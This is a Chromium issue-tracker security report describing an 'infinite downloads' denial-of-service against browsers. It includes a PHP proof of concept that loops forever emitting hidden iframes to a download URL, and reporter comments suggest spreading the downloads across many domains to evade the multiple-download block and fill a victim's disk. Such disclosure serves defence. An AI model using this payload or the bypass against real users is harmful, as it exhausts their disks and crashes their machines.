Issue metadata
Sign in to add a comment
|
Security: Trigger infinite downloads
Reported by
kemalisr...@gmail.com,
Oct 8 2017
|
||||||||||||||||||||||||
Issue description
VULNERABILITY DETAILS
Creates a loop of infinite downloads.
Creating disk fullying, and page crash.
VERSION
Chrome all versions + Firefox.
Operating System: [ Win 7 x64]
REPRODUCTION CASE
<?php
for($i=1;$i>0;$i++){
echo ('<iframe src="http://mywebpage.com/download.rar" width="0" height="0"> </iframe>');
}
?>
,
Oct 9 2017
,
Oct 9 2017
Firstly it was disabled and worked a few times, also to bypass this don't you need just 100 domains? 100 iframes with different download domain sources should bypass that Il 09 Ott 2017 18:06, "och… via monorail" < monorail+v2.4216146212@chromium.org> ha scritto:
,
Oct 9 2017
Thank you for providing more feedback. Adding requester "elawrence@chromium.org" to the cc list and removing "Needs-Feedback" label. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 9 2017
You could also try to put 1 iframe to a different direct download link ex:putty and block your websites multidownload feature and check if putty will still be downloaded.. in this case using multy domains could create a computer flood combined with a critical flag process kill would restart the computer with full harddisk that means it won't start up. Thank you for your time. Il 10 Ott 2017 00:02, "Jennifer Miller" <kemalisreal@gmail.com> ha scritto:
,
Oct 12 2017
|
|||||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||||
Comment 1 by elawrence@chromium.org
, Oct 8 2017Labels: Needs-Feedback
Summary: Security: Trigger infinite downloads (was: Security: Creates a loop of infinite downloads)